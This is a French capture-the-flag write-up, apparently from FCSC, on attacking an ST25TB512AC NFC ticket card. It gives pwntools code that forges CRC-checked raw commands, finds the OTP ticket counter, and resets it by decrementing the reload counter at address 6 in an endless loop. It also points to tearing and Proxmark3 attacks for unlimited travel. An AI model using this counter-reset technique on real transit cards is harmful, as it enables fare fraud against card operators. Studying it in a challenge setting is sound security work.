Analyse du problème
On a accès à une carte “basée sur une puce ST25TB512AC de chez STMicroElectronics”. On trouve la doc en ligne et très heuresement elle ne fait que 46 pages, donc une grosse partie concerne les communications radio.
La communication à l’air un peu compliquée puisqu’il y a tout un chemin logique à parcourir pour pouvoir normallement échanger avec la puce. Hereusement ici l’énoncé nous dit que nous n’allons pas avoir ce problème :
Note : Lors de l’envoi d’une commande brute à la carte, considérez qu’elle est déjà sélectionnée par le lecteur.
Donc nous pouvons nous contenter de lui envoyer des commandes.
La puce à donc 15 addresses (0 à 15) et une addresse spéciale 255 pour les permissions.
Pour lire il faut envoyer 08AddrCrcCrc et écrire à peu près pareil 09AddrValeurCrcCrc.
On peut donc commencer par dump la mémoire avant de voyager, puis après un voyage et comparer les différences.
from pwn import remote
MENU = b'>>> '
CMD = b'Command to send to the tag (hexadecimal): '
RESPONSE = b'Response: '
def crc16_type_b(data: bytes) -> bytes:
crc = 0xFFFF
for byte in data:
crc ^= byte
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0x8408
else:
crc >>= 1
crc = ~crc & 0xFFFF
return bytes([crc & 0xFF, crc >> 8])
def forge_command(hex_str: str) -> str:
data = bytes.fromhex(hex_str)
crc = crc16_type_b(data)
return (data + crc).hex().upper()
def retrieve_memory_data() -> list[bytes]:
memory: list[bytes] = []
for addr in range(16):
prgm.recvuntil(MENU)
prgm.sendline('2'.encode())
prgm.recvuntil(CMD)
prgm.sendline(forge_command(f'08{addr:02X}').encode())
prgm.recvuntil(RESPONSE)
response_hex = prgm.recvline().strip().decode()
response_bytes = bytes.fromhex(response_hex)
content = response_bytes[:-2]
crc_received = response_bytes[-2:]
crc_calculated = crc16_type_b(content)
if crc_received != crc_calculated:
print(
f'Warning: CRC mismatch for address {addr:02X} (received: {crc_received.hex().upper()},'
f' calculated: {crc_calculated.hex().upper()})',
)
memory.append(content)
return memory
def dump_memory(memory_after: list[bytes]) -> None:
for i, data in enumerate(memory_after):
print(f'Address {i:02X}: {data.hex().upper()}')
prgm = remote('challenges.fcsc.fr', 2301)
memory = retrieve_memory_data()
print('Memory dump:')
dump_memory(memory)
prgm.recvuntil(MENU)
prgm.sendline('1'.encode())
memory_after_1_travel = retrieve_memory_data()
print('\nMemory dump after sending command 1:')
dump_memory(memory_after_1_travel)
On constate que seule l’addresse 03 est “décrémentée”. En fait elle passe de 1F000000 à 0F000000.
Cette valeur peut sembler étrange mais en fait c’est tout bête ce qui nous intéresse est la notation en bits.
Initialement on a 5 bits à 1 et ensuite on en a plus que 4.
On peut essayer de lui envoyer 0903FFFFFFFF(et les CRC) mais ça ne marche pas.
AI;DR
A ce moment je demande à mon LLM préféré s’il existe des attaques et il me mentionne le tearing présenté dans ce papier
C’était passionnant mais rien à voir avec le chall (peut-être l’année pro :man_shrugging:)
Autre attaque qui n’a rien à voir
J’ai aussi vu que yavait d’autres attaques pour voyager de façon illimitée avec un proxmark3, rien à voir mais si ça vous intéresse: la pres qui en parle
Retour à la doc
On apprend très rapidement que l’addresse 3 fait partie d’un bloc OTP qui ne peut être écrit qu’une seule fois, puis ensuite on ne peut plus que flip les bits de 1 à 0.
Mais immédiatement après il y a écrit qu’on peut le reset en décrémentant la valeur dans l’addresse 6, à condition qu’on décrémente la valeur sur ses 11 bits faibles.
Attaque
L’attaque est simple :
while True: - on voyage jusqu’à épuisement des tickets - on décrémente l’adresse en bloc 6 - on se rajoute des tickets dans le bloc 3
Et voici le code qui le fait
def decrease_reload_counter(hex_val: str) -> str:
data_bytes = bytes.fromhex(hex_val)
val = int.from_bytes(data_bytes, byteorder='little')
# On soustrait mathematiquement 1 au compteur de rechargement
# (qui commence au bit 21, donc 1 << 21 = 0x00200000)
# Vous savez ces pbms d'endianness et ou on a que le droit de faire varier les 11 bits faibles
new_val = val - 0x00200000
if new_val < 0:
raise ValueError('Plus aucun rechargement possible (les 2047 ont été utilisés).')
new_bytes = new_val.to_bytes(4, byteorder='little')
return new_bytes.hex().upper()
def reset_travels() -> None:
reset_addr_6()
get_more_tickets()
def get_more_tickets() -> None:
prgm.recvuntil(MENU)
prgm.sendline('2'.encode())
prgm.recvuntil(CMD)
prgm.sendline(forge_command('0903FFFFFFFF').encode())
print('Reset travels command sent.')
def reset_addr_6() -> None:
print('Decreasing value at address 06...')
prgm.recvuntil(MENU)
prgm.sendline('2'.encode())
prgm.recvuntil(CMD)
prgm.sendline(forge_command('0806').encode())
prgm.recvuntil(RESPONSE)
old_hex = prgm.recvline().strip().decode()
print(f'Response for address 06: {old_hex}')
new_value = decrease_reload_counter(old_hex[:-4])
print(f'New value to set at address 06: {new_value}')
prgm.recvuntil(MENU)
prgm.sendline('2'.encode())
prgm.recvuntil(CMD)
prgm.sendline(forge_command(f'0906{new_value}').encode())
prgm.recvuntil(MENU)
prgm.sendline('2'.encode())
prgm.recvuntil(CMD)
prgm.sendline(forge_command('0806').encode())
prgm.recvuntil(RESPONSE)
new_response_hex = prgm.recvline().strip().decode()
if new_response_hex[:-4] == old_hex[:-4]:
raise ValueError(
f'Warning: Value at address 06 did not decrease as expected (new response: {new_response_hex})',
)
while True:
travel_as_much_as_possible()
reset_travels()